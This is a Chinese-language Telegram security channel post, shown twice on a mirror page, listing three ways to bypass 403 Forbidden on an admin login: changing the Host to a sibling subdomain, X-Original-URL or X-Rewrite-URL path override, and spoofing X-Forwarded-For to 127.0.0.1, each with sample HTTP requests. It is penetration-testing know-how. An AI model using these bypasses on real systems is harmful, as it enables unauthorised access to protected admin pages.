信息安全狂热者@Safecraze P.47

SAFECRAZE Telegram 47

信息安全狂热者

403 BYPASS 小记
方法一：旁站，有可能是管理员仅设置了主域的权限，那么通过改变旁站，可以越过权限设置
# 原始请求
GET /admin/login HTTP/1.1
Host: www.abc.com
# 原始响应
HTTP/1.1 403 Forbidden

# 改变请求
GET /admin/login HTTP/1.1
Host: $xxx$.abc.com
# 改编后响应
HTTP/1.1 200 OK

方法二：通过URL覆盖的方式，将GET后的URL改为根目录/，其后添加
如：X-Original-URL: /admin/login、X-Rewrite-URL: /admin/login 等
甚至：Referer: https://www.abc.com/admin/login

# 原始请求
GET /admin/login HTTP/1.1
Host: www.abc.com
# 原始响应
HTTP/1.1 403 Forbidden

# 改变请求
GET / HTTP/1.1
X-Original-URL: /admin/login
Host: www.abc.com
# 改编后响应
HTTP/1.1 200 OK

方法三：改变代理服务器，因为现在当下服务基本都是有CDN区做代理，利用如下X打头的非http标准协议改变其代理，诱骗认为访问在本地：
X-Originating-IP: 127.0.0.1、X-Remote-IP: 127.0.0.1、X-Forwarded-For: 127.0.0.1 等

# 原始请求
GET /admin/login HTTP/1.1
Host: www.abc.com
# 原始响应
HTTP/1.1 403 Forbidden

# 改变请求
GET /admin/login HTTP/1.1
X-Forwarded-For: 127.0.0.1
Host: www.abc.com
# 改编后响应
HTTP/1.1 200 OK

www.tgoop.com/Safecraze/47

6.0K viewsMar 10, 2022 at 12:01

tgoop.com/Safecraze/47

Create: 2022-03-10
Last Update: 2024-06-09 09:45:42

403 BYPASS 小记
方法一：旁站，有可能是管理员仅设置了主域的权限，那么通过改变旁站，可以越过权限设置
# 原始请求
GET /admin/login HTTP/1.1
Host: www.abc.com
# 原始响应
HTTP/1.1 403 Forbidden

# 改变请求
GET /admin/login HTTP/1.1
Host: $xxx$.abc.com
# 改编后响应
HTTP/1.1 200 OK

方法二：通过URL覆盖的方式，将GET后的URL改为根目录/，其后添加
如：X-Original-URL: /admin/login、X-Rewrite-URL: /admin/login 等
甚至：Referer: https://www.abc.com/admin/login

# 原始请求
GET /admin/login HTTP/1.1
Host: www.abc.com
# 原始响应
HTTP/1.1 403 Forbidden

# 改变请求
GET / HTTP/1.1
X-Original-URL: /admin/login
Host: www.abc.com
# 改编后响应
HTTP/1.1 200 OK

方法三：改变代理服务器，因为现在当下服务基本都是有CDN区做代理，利用如下X打头的非http标准协议改变其代理，诱骗认为访问在本地：
X-Originating-IP: 127.0.0.1、X-Remote-IP: 127.0.0.1、X-Forwarded-For: 127.0.0.1 等

# 原始请求
GET /admin/login HTTP/1.1
Host: www.abc.com
# 原始响应
HTTP/1.1 403 Forbidden

# 改变请求
GET /admin/login HTTP/1.1
X-Forwarded-For: 127.0.0.1
Host: www.abc.com
# 改编后响应
HTTP/1.1 200 OK

BY 信息安全狂热者

Share with your friend now:
tgoop.com/Safecraze/47

Open in Telegram

Telegram News

Date: 2024-06-09|

Select: Settings – Manage Channel – Administrators – Add administrator. From your list of subscribers, select the correct user. A new window will appear on the screen. Check the rights you’re willing to give to your administrator. 1What is Telegram Channels? best-secure-messaging-apps-shutterstock-1892950018.jpg Just at this time, Bitcoin and the broader crypto market have dropped to new 2022 lows. The Bitcoin price has tanked 10 percent dropping to $20,000. On the other hand, the altcoin space is witnessing even more brutal correction. Bitcoin has dropped nearly 60 percent year-to-date and more than 70 percent since its all-time high in November 2021. Invite up to 200 users from your contacts to join your channel
from us

Telegram 信息安全狂热者
FROM American

Fatal error: Uncaught Error: Call to undefined function pop() in /var/www/tgoop/post.php:369 Stack trace: #0 /var/www/tgoop/route.php(95): include_once() #1 {main} thrown in /var/www/tgoop/post.php on line 369